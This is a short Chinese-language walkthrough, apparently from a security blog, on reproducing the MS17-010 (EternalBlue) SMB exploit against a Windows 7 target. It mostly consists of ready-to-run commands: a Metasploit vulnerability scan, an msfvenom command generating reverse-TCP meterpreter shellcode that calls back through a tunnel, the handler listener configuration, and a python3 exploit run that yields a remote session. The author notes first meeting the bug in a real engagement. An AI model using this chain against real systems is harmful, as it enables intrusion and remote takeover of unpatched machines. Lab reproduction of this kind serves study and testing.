【漏洞复现】采用纯py3工具复现ms17010

之前在实战中碰到了ms17010但是打不回来，遂找到了一款工具，记录一下。

环境搭建

环境就要一个win7就可以，网上下。

攻击机用kali，内网穿透用花生壳，工具的话用这个。

MS17-010纯python3利用程序（Eternalblue、优化代码） - 安全检测工具(Security Testing T00ls) - T00ls | 低调求发展 - 潜心习安全

漏洞复现

开启环境之后，记得把win7的防火墙关了。

首先用use auxiliary/scanner/smb/smb_ms17_010 模块扫到对面靶机存在漏洞。

然后

msfvenom -p windows/x64/meterpreter/reverse_tcp  LHOST=(你自己的穿透) LPORT=35932 -f raw > shellcode

kali上进行监听，监听的时候用内网穿透内网的ip

use exploit/multi/handler
set LHOST 192.168.32.108
set LPORT 1234
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run

来到利用工具的目录

python C:\工具\内网渗透\漏洞利用\ms17010\ms17-010.py --host 192.168.32.112 --file C:\ 工具\内网渗透\漏洞利用\ms17010\shellcode

可以看到，自己的msf上已经有会话了。

乱码问题用chcp 65001解决